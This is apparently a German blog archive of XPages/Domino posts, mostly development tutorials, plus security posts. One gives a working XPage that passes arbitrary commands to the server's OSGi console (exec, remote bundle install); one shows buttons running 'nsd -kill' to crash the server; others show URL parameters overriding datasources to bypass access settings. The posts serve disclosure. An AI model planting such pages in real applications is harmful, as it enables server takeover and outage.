DataContext-Variablen

Will man auf die DataContext-Variablen einer XPage zugreifen, gibt es die Möglichkeit, die Methode getDataContexts() zu verwenden, die für jede UIComponent existiert. Die Methode liefert eine java.util.List zurück, die sich z.B. in einen Array verwandeln lässt, um auf die einzelnen Mitglieder zu zugreifen. Die Mitglieder wiederum sind vom Typ com.ibm.xsp.model.DataContext, mit getVars() lässt sich auf den Inhalt der jeweiligen Variable zugreifen.

Hier ein Beispiel:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

   <xp:this.dataContexts>
      <xp:dataContext var="dcVar" value="1" />
   </xp:this.dataContexts>

   <xp:text escape="true" id="computedField1">
      <xp:this.value>
         <![CDATA[#{javascript:
         var lc:java.util.List = view.getDataContexts();
         var dc:com.ibm.xsp.model.DataContext = lc.toArray()[0];
         dc.getVars().toString()
         }]]>
      </xp:this.value>
   </xp:text>
</xp:view>

[Fett: Die DataContext-Variable // Rot: Die UIComponent, an der die Variable „hängt“]

In diesem Beispiel ist die Variable direkt der UIViewRoot-Komponente zugeordnet worden. Ist die Variable an einer anderen UIComponent (z.B. einem Custom Control), muss auf den DataContext dieser Komponente zugegriffen werden. Ist also eine DataContext-Variable im Custom Control definiert, nicht jedoch in der eigentlichen XPage, so würde ein view.getDataContexts() nichts zurück liefern.

Um auf die Variablen eines Custom Controls zuzugreifen, muss also entweder der komplette Komponentenbaum durchlaufen werde, oder das Custom Control muss mit id definiert sein, um referenziert werden zu können.

Hier das Custom Control ccDCVar:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

   <xp:this.dataContexts>
      <xp:dataContext var="dcVarCC" value="2" />
   </xp:this.dataContexts>

</xp:view>

Die XPage, die auf das Custom Control zugreift, kann dann wie folgt aufgebaut sein:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core"
         xmlns:xc="http://www.ibm.com/xsp/custom">
   
   <xc:ccDCVar id="cc1"></xc:ccDCVar>

   <xp:text escape="true" id="computedField1">
      <xp:this.value>
         <![CDATA[#{javascript:
         var lc:java.util.List = getComponent("cc1").getDataContexts();
         var dc:com.ibm.xsp.model.DataContext = lc.toArray()[0];
         dc.getVars().toString()
         }]]>
      </xp:this.value>
   </xp:text>
</xp:view>

 [Fett: Zugriff auf die UIComponent mittels getComponent()  // Rot: Id des Custom Controls]

Veröffentlicht unter Allgemein, Java Script, JSF, ServerSide JavaScript, XPages | Verschlagwortet mit , , , , , | 2 Kommentare

Security: Domino Server Backdoor (2)

Aus einer XPages-Applikation lässt sich der XSP Command Manager (das zugrundeliegende OSGi Framework) fernsteuern. Das Kommando entspricht dem Befehl

tell http xsp <BEFEHL>

auf der Domino Serverkonsole, nur dass hierfür kein Serverkonsolenzugriff benötigt wird.

Mit Hilfe der folgenden XPage lassen sich beliebige OSGi-Kommandos absetzen, also z.B. Prozesse starten, Bundles installieren (egal von welcher Quelle, auch aus dem Internet) und vieles mehr.

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
   <xp:button value="Send XSP Command" id="button2">
      <xp:eventHandler
         event="onclick"
         submit="true"
         refreshMode="complete">
         <xp:this.action><![CDATA[#{javascript:
            var cmd = getComponent("inputTextXSPCmd").value;
            if( cmd == null || cmd == "")
               return;
            var xcm = com.ibm.domino.xsp.bridge.http.engine.XspCmdManager.getInstance();
            xcm.tell( cmd );}]]>
         </xp:this.action>
      </xp:eventHandler>
   </xp:button>
   <xp:inputText id="inputTextXSPCmd" />
</xp:view>

Die Seite sieht wie folgt aus:

Beim Klicken auf „Send XSP Command“ kann man das Ergebnis auf der Serverkonsole sehen:

Hier ein kleiner Auszug über mögliche Kommandos:

  • exec <PROGNAME> startet ein beliebiges Programm
  • fork <PROGNAME> startet ein beliebiges Programm in einem eigenen Thread
  • install http://example.com/osgi-bundle.jar start installiert ein OSGi-Bundle von der angegebenen Adresse
  • init stoppt das gesamte Framework
  • ss listet alle Bundles auf
  • help zeigt alle möglichen Befehle an.

Auch Heap-, System, und Java-Dumps lassen sich hierdurch erstellen.

Veröffentlicht unter Allgemein, Security, Server, XPages | Verschlagwortet mit , , , , , | Ein Kommentar

Security: Fernsteuerbare DocumentDataSources

Analog zu den ViewDataSources lassen sich auch DocumentDataSources über die Adresszeile des Browsers manipulieren: Der URL-Parameter databaseName ermöglicht hierbei die Steuerung der zugrundliegenden Datenbank, und überschreibt einen eventuell in der XPage hinterlegten Wert.

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
   <xp:this.data>
      <xp:dominoDocument
         var="document1"
         databaseName="DB1.nsf">
      </xp:dominoDocument>
   </xp:this.data>
     <xp:button value="Label" id="button1">
      <xp:eventHandler event="onclick"
         submit="true" refreshMode="complete">
         <xp:this.action>
            <xp:save></xp:save>
         </xp:this.action>
      </xp:eventHandler>
   </xp:button>
</xp:view>

Wird diese XPage mit dem Parameter databaseName=DB2.nsf aufgerufen und abgeschickt bzw. gespeichert, erfolgt das Anlegen des Dokumentes nicht wie definiert in der DB1.nsf, sondern in DB2.nsf.

Ebenso verhält es sich, wenn ein Dokument geöffnet wird: Auch hierbei lässt sich steuern, aus welcher Datenbank das Dokument stammten soll (in diesem Fall nur, solange keine documentId  in der XPage eingestellt ist.)

Werden mehrere DataSources auf einer XPage verwendet, werden die URL-Parameter dort angewendet, „wo es passt“, d.h. es wird die nächste DataSource (View oder Document) verwendet, die nicht mit ignoreRequestParam=“true“ abgesichert wurde.

 

EDIT:

Das Überschreiben wirkt sich auch auf Datasources aus, die nicht direkt im UIViewRoot sitzen, sondern auch auf Unterkomponenten im JSF Baum. Also auch auf DocumentDataSources und ViewDataSources in Panels etc.

Veröffentlicht unter Allgemein, JSF, Security, Server, Web, XPages | Verschlagwortet mit , , , , , , | 4 Kommentare

Quick-n-Dirty: Locale setzen (2)

Wie die Locale-Einstellung für eine einzelne Xpage gesetzt wird, ist hier beschrieben. Um die Einstellung jedoch Applikationsweit zu setzen, kann dies durch einen eigenen ViewHandler umgesetzt werden.

Dazu benötigt man eine eigene Java-Klasse, die die bestehende Methode calculateLocale überschreibt:

package ch.hasselba.xpages.debug;

import java.util.Locale;
import javax.faces.context.FacesContext;
import javax.faces.application.ViewHandler;

public class ViewHandlerSH extends
   com.ibm.xsp.application.ViewHandlerExImpl {

   @Override
   public Locale calculateLocale(FacesContext arg0) {
      return Locale.CHINESE;
   }

   public ViewHandlerSH(ViewHandler paramViewHandler){
      super(paramViewHandler);
   }

}

[In Fett: Die Spracheinstellung wird generell auf Chinesisch gesetzt]

Die Klasse muss dann noch in die faces-config.xml eingebunden werden.

<?xml version="1.0" encoding="UTF-8"?>
<faces-config>
   <application>
      <view-handler>ch.hasselba.xpages.debug.ViewHandlerSH</view-handler>
   </application>
</faces-config>

Und so sieht dann das Ergebnis aus, wenn ein Fehler auftritt:

 

Veröffentlicht unter Allgemein, Java, JSF, XPages | Verschlagwortet mit , , , , | Schreib einen Kommentar

Security: Domino Server Backdoor

Mit XPages lässt sich ein Domino Server auf einfachste Weise lahm legen, da man über die Java Runtime beliebige Threads starten kann.

Ein kleiner Button startet z.B. Notepad auf einem Windows Domino Server:

<xp:button value="Start NotePad!" id="buttonStartNotePad">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="norefresh">
      <xp:this.action>
         <![CDATA[#{javascript:
            java.lang.Runtime.getRuntime().exec("notepad");}]]>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>

 

Bei jedem Klick wird auf dem Domino Server einmal Notepad gestartet. Eine kleine Schleife, und auch ein großzügig dimensionierter Server geht in die Knie.

Richtig übel wird es allerdings, wenn dieser Button geklickt wird:

ACHTUNG! NICHT AUF PRODUKTIVEN SYSTEMEN AUSFÜHREN!

<xp:button value="KILL NOTES!" id="buttonKillNotes">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="norefresh">
      <xp:this.action>
         <![CDATA[#{javascript:
            java.lang.Runtime.getRuntime().exec("nsd -kill");}]]>
         </xp:this.action>
      </xp:eventHandler>
</xp:button>

Dann ist der Domino Server weg!

Bei dem „zerlegten“ Server handelt es sich um eine Standard-Installation. Die java.policy wurde nicht geändert.

Veröffentlicht unter Allgemein, Security, Server, XPages | Verschlagwortet mit , , , , , | 12 Kommentare

Quick-n-Dirty: Locale setzen

Um die Locale-Einstellung einer XPage programmatisch zu beeinflussen, kann die Methode setLocaleString bzw. setLocale des context-Objektes verwendet werden.  Damit die Änderungen übernommen wird, muss die Einstellung im BeforePageLoad gesetzt werden.

So ändert ein…

context.setLocaleString("zh-tw")

… bzw. ein …

context.setLocale(java.util.Locale.TAIWAN)

…die Spracheinstellungen der generierten XPage. Sowohl das lang-Attribute der HTML-Seite als die Dojo-Konfiguration wird dabei gesetzt:

<!DOCTYPE html>
<html lang="zh-tw">
<script type="text/javascript"
src="/xsp/.ibmxspres/dojoroot-1.6.1/dojo/dojo.js"
djConfig="locale: 'zh-tw', parseOnLoad: true"></script>

Durch diese Änderung wird z.B. der Datepicker-Dialog des DojoToolkit auf Taiwanisch gerendert.

Eine Liste der möglichen Einstellungen findet sich in der Beschreibung des java.util.Locale-Objektes.

Alternativ kann die Änderung auch mit SSJS in einer Aktion o.ä. durchgeführt werden. Allerdings muss darauf die XPage neu geladen werden. Dies kann dann wie folgt aussehen:

context.setLocale(java.util.Locale.TAIWAN);
context.reloadPage()
Veröffentlicht unter Dojo Toolkit, HTML, Java Script, ServerSide JavaScript, Web, XPages, XSP | Verschlagwortet mit , , , , , , , , , | 3 Kommentare

Security: Fernsteuerbare ViewDataSources

Ist bei einer Datenbank die Option „Don’t allow URL open“ gesetzt, ist sie nicht mehr im Web erreichbar. Mit den URL-Parametern databaseName und viewName lässt sich in Verbindung mit einer ViewDatasource dieser Schutzmechanismus jedoch aushebeln, und könnte ein Problem darstellen, wenn sich nur auf diese Option verlassen wurde.

Als Beispiel dient hier eine lokales NAB, dass zu Demonstrationszwecken eine offene ACL hat (Default = Manager), bei dem die genannte Option jedoch aktiviert ist:

Öffnet man diese Datenbank im Browser, so erscheint eine Fehlermeldung:

Legt man jedoch eine XPages mit einer ViewDatasource in einer anderen Datenbank an, kann dieser einfache Schutzmechanismus umgangen werden, da die beiden Parameter die in der XPage definierte Quelle überschreiben; dadurch wird eine „Fernsteuerung“ der ViewDataSource ermöglicht.

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

   <xp:viewPanel rows="30" var="viewCol">
      <xp:this.data>
         <xp:dominoView var="view1" viewName="" />
      </xp:this.data>
      <xp:viewColumn
         value="#{javascript:viewCol.getUniversalID()}">
     </xp:viewColumn>
   </xp:viewPanel>

</xp:view>

Öffnet man folgende XPage, ist die darzustellende Ansicht natürlich leer…

… hängt man allerdings die passenden URL-Parameter an, sieht die gleiche XPage entsprechend anders aus:

Es handelt sich dabei um die beiden Dokumente aus dem persönlichen Addressbuch.

Zwar müssen immer noch Berechtigungen auf die jeweilige Datenbank gegeben sein, damit Daten ausgelesen werden können, dennoch sollte prinzipiell immer ignoreRequestParams=“true“ gesetzt sein.

Veröffentlicht unter JSF, Security, Server, Web, XPages | Verschlagwortet mit , , , , , , | Ein Kommentar

Domino Datasources On-the-Fly (3): ValueBinding & MethodBinding

Das ist der dritte Teil der Serie “Domino Datasources On-the-Fly”. Der zweite Teil findet sich hier.

Will man eine Wertezuweisung berechnen lassen, muss ein ValueBinding erstellt werden. Damit lässt sich dann z.B. der Formname eines DominoDocumentData-Objektes berechnen (zugegebenermaßen ein kleinwenig sinnlos, da man dies im Code sowieso erledigen könnte…).

Hierfür existiert die Methode createValueBinding() der Application-Klasse, mit der ein neues ValueBinding-Objekt instanziert werden kann:

var app = facesContext.getApplication();
var vb = app.createValueBinding("#{javascript:@Text(@Now())}");

Dieses ValueBinding muss dem jeweiligen Datasource-Objekt über die Methode setValueBinding() zugewiesen werden. Als erster Parameter muss der Name der zu setzenden Eigenschaft angegeben werden, dann folgt das jeweilige ValueBinding-Objekt.

var data = new com.ibm.xsp.model.domino.DominoDocumentData();
data.setVar("document1");
data.setValueBinding("formName", vb);
view.addData(data);

Die Fett hervorgehobene Eigenschaft entspricht dem Parameter im XPages Source:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
    <xp:this.data>
        <xp:dominoDocument var="document1"
           formName="#{javascript:@Text(@Now())}" />
    </xp:this.data>
</xp:view>

Allerdings ist diese Zuweisung nicht bei allen Eigenschaften möglich! Bei noch auszuführenden Methoden wie z.B. dem QuerySaveDocument-Event muss stattdessen mit einem MethodBinding-Objekt gearbeitet werden. Wieder findet die Instanzierung über das Application-Objekt statt:

var code = "";
code += "#{javascript:document1.replaceItemValue(\"Test\"";
code += ", @Text(@Now()));}";
var mb = app.createMethodBinding( code, null);

Eine Methode setMethodBinding() existiert jedoch nicht; das MethodBinding-Objekt muss daher über spezielle Methoden dem jeweiligen DataSource-Objektes zugewiesen werden. Die Namensgebung der Methoden ist hierbei jedoch trivial, es muss nur ein „set“ vor die jeweilige Methode gestellt werden:

var data = new com.ibm.xsp.model.domino.DominoDocumentData();
data.setVar("document1");
data.setQuerySaveDocument(mb);
view.addData(data);

Hier noch der Source einer vollständigen Beispiel-Implementierung:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

<xp:button value="Create Datasource" id="button1">
   <xp:eventHandler event="onclick" submit="true"
       refreshMode="complete">
       <xp:this.action>
           <![CDATA[#{javascript:
              var app = facesContext.getApplication();
           var data = new com.ibm.xsp.model.domino.DominoDocumentData();

           data.setVar("document1");

           var value = "#{javascript:@Text(@Now())}";
           var vb = app.createValueBinding(value);
           data.setValueBinding("formName", vb);

           var code = "";
           code += "#{javascript:document1.replaceItemValue(\"Test\"";
           code += ", @Text(@Now()));}";
           var mb = app.createMethodBinding( code, null);
           data.setQuerySaveDocument(mb); 

           view.addData(data);
        }]]>
       </xp:this.action>
   </xp:eventHandler>
</xp:button>
<xp:button value="Use Datasource" id="button2">
   <xp:eventHandler event="onclick" submit="true"
     refreshMode="complete">
      <xp:this.action>
         <xp:actionGroup>
            <xp:executeScript>
               <xp:this.script>
                  <![CDATA[#{javascript:
                     document1.setValue("Feld", "ABC");
                  }]]>
               </xp:this.script>
              </xp:executeScript>
           <xp:saveDocument var="document1" />
         </xp:actionGroup>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
</xp:view>
Veröffentlicht unter Allgemein, Java, Java Script, JSF, ServerSide JavaScript, XPages | Verschlagwortet mit , , , , , , | 3 Kommentare

Domino Datasources On-the-Fly (2): DominoDataView

Das ist der zweite Teil der Serie „Domino Datasources On-the-Fly“. Der erste Teil findet sich hier.

Views lassen sich ebenfalls programmatisch erstellen, allerdings muss mindestens der Name der Ansicht angegeben sein (und ausserdem muss die Ansicht existieren):

var data = new com.ibm.xsp.model.domino.DominoViewData();
data.setVar("view1");
data.setViewName("All");
view.addData(data);

Hier eine Beispiel-Implementierung in eine XPage (in der Datenbank muss die Ansicht „All“ vorhanden sein) :

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

<xp:button value="Create Datasource" id="button1">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="partial" refreshId="label1">
      <xp:this.action>
         <![CDATA[#{javascript:
            var data = new com.ibm.xsp.model.domino.DominoViewData();
            data.setVar("view1");
            data.setViewName("All");
            view.addData(data);
         }]]>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
<xp:label id="label1">
   <xp:this.value><![CDATA[#{javascript:
      try{
         view1.getName();
      }catch(e){e}
    }]]>
    </xp:this.value>
   </xp:label>
</xp:view>

Folgende Eigenschaften können bei einem DominoViewData-Objekt gesetzt werden (Stand 8.5.3):

  • setParentId(String)
  • setSearchList(String)
  • setDatabaseName(String)
  • setVar(String)
  • setSearch(String)
  • setExpandLevel(int)
  • setSearchExactMatch(boolean)
  • setViewName(String)
  • setSortOrder(String)
  • setRequestParamPrefix(String)
  • setSortColumn(String)
  • setKeys(String)
  • setScope(String)
  • setStartKeys(String)
  • setSearchVariants(boolean)
  • setCategoryFilter(String)
  • setSearchMaxDocs(int)
  • setDataCache(String)
  • setKeysExactMatch(String)
  • setIgnoreRequestParams(boolean)
  • setSearchFuzzy(boolean)

Eine vollständige Liste findet sich hier.

Im nächsten Teil werden die Eigenschaften des DominoDataDocument-Objekts vorgestellt. wird das ValueBinding und das MethodBinding vorgestellt.

Veröffentlicht unter Allgemein, Java, Java Script, JSF, ServerSide JavaScript, XPages | Verschlagwortet mit , , , , , | Ein Kommentar

Domino Datasources On-the-Fly (1): Basics

Um eine Datasource On-the-Fly mittels SSJS zu erstellen, muss zum Einen ein neues Datasource-Objekt instanziert werden, zum Anderen die neue Datenquelle der XPage bekannt gegeben werden.

Mit dem folgenden Code wird eine neue Document Datasource namens document1 erstellt und dann dem UIViewRoot-Element bekannt gemacht:

var data = new com.ibm.xsp.model.domino.DominoDocumentData();
data.setVar("document1");
view.addData(data);

Direkt nach der Anlage lässt sich die Datenquelle leider noch nicht im Code verwenden, d.h. ein „document1.save()“ schlägt an dieser Stelle fehl. Die neue Datasource kann aber in einem anderen Code-Segment wie gewohnt verwendet werden.

Hier eine Beispiel-Implementierung in eine XPage:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

<xp:button value="Create Datasource" id="button1">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="complete">
      <xp:this.action>
         <![CDATA[#{javascript:
            var data = new com.ibm.xsp.model.domino.DominoDocumentData();
            data.setVar("document1");
            data.setFormName("DynData");  
            view.addData(data);
         }]]>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
<xp:button value="Use Datasource" id="button2">
   <xp:eventHandler event="onclick" submit="true"
     refreshMode="complete">
      <xp:this.action>
         <xp:actionGroup>
            <xp:executeScript>
               <xp:this.script>
                  <![CDATA[#{javascript:
                     document1.setValue("Feld", "ABC");
                  }]]>
               </xp:this.script>
              </xp:executeScript>
           <xp:saveDocument var="document1" />
         </xp:actionGroup>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
</xp:view>

Die XPage besteht aus zwei Buttons: Mit „Create Datasource“ wird eine neue Datasource angelegt, mit „Use Datasource“ die neue DocumentDatasource verwendet und gespeichert. Wird der Button „Use Datasource“ geklickt, bevor die neue Datasource angelegt wurde, tritt (logischerweise) ein Fehler auf.

Im nächsten Teil geht es um die möglichen Eigenschaften des Domino Document Data– und des Domino View Data-Objektes.

Veröffentlicht unter Java, JSF, ServerSide JavaScript, XPages | Verschlagwortet mit , , , , | Ein Kommentar